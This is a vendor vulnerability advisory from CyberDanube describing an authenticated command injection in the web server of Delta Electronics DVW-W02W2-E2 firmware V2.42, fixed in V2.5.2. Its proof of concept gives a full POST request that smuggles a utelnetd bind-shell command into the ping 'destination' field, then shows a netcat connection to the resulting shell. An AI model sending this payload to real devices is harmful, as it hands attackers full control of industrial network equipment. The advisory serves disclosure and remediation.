Delta Electronics DVW-W02W2-E2 2.42 Command Injection Vulnerability

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                title| Authenticated Command Injection
              product| Delta Electronics DVW-W02W2-E2
   vulnerable version| V2.42
        fixed version| V2.5.2
           CVE number| -
               impact| High
             homepage| https://www.deltaww.com
                found| 2022-08-01
                   by| T. Weber (Office Vienna)
                     | CyberDanube Security Research
                     | Vienna | St. Pölten
                     |
                     | https://www.cyberdanube.com
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Vendor description
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"Delta, founded in 1971, is a global provider of power and thermal 
management
solutions. Its mission statement, "To provide innovative, clean and energy
-efficient solutions for a better tomorrow," focuses on addressing key
environmental issues such as global climate change. As an energy-saving
solutions provider with core competencies in power electronics and 
automation,
Delta's business categories include Power Electronics, Automation, and
Infrastructure."

Source: https://www.deltaww.com/en-US/about/aboutProfile


Vulnerable versions
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DVW-W02W2-E2 / V2.42


Vulnerability overview
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1) Authenticated Command Injection
The web server of the device is prone to an authenticated command injection.
It allows an attacker to gain full access to the underlying operating 
system of
the device with all implications. If such a device is acting as key 
device in
an industrial network, or controls various critical equipment via serial 
ports,
more extensive damage in the corresponding network can be done by an 
attacker.


Proof of Concept
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1) Authenticated Command Injection
The web server is prone to an authenticated command injection via POST
parameters. This is only possible if the "timestamp" parameter is set 
correctly
in the URL. The following proof-of-concept shows how to open a port binding
shell on port 8889 with a "utelnetd" listener:
===============================================================================
POST /apply.cgi?/MT_ping.htm%20timestamp=$correct-timestamp$ HTTP/1.1
Host: 192.168.3.148
Accept: 
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 105
Origin: http://192.168.3.148
Connection: close
Referer: http://192.168.3.148/MT_ping.htm
Cookie: xxid=1973719449
Upgrade-Insecure-Requests: 1

submit_flag=mt_ping&hid_ver1=&hid_ser1=&hid_comm1=&hid_ver2=&hid_ser2=&hid_comm2=&destination=`utelnetd%20-p%208889%20-l%20/bin/ash%20-d`
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For accessing the device, the command "netcat" can be used:
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$ nc 192.168.3.150 8889
����!����

BusyBox v1.4.2 (2016-08-18 22:45:41 EDT) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

/ #
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The vulnerability was manually verified on an emulated device by using the
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).


Solution
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Update to firmware version V2.5.2.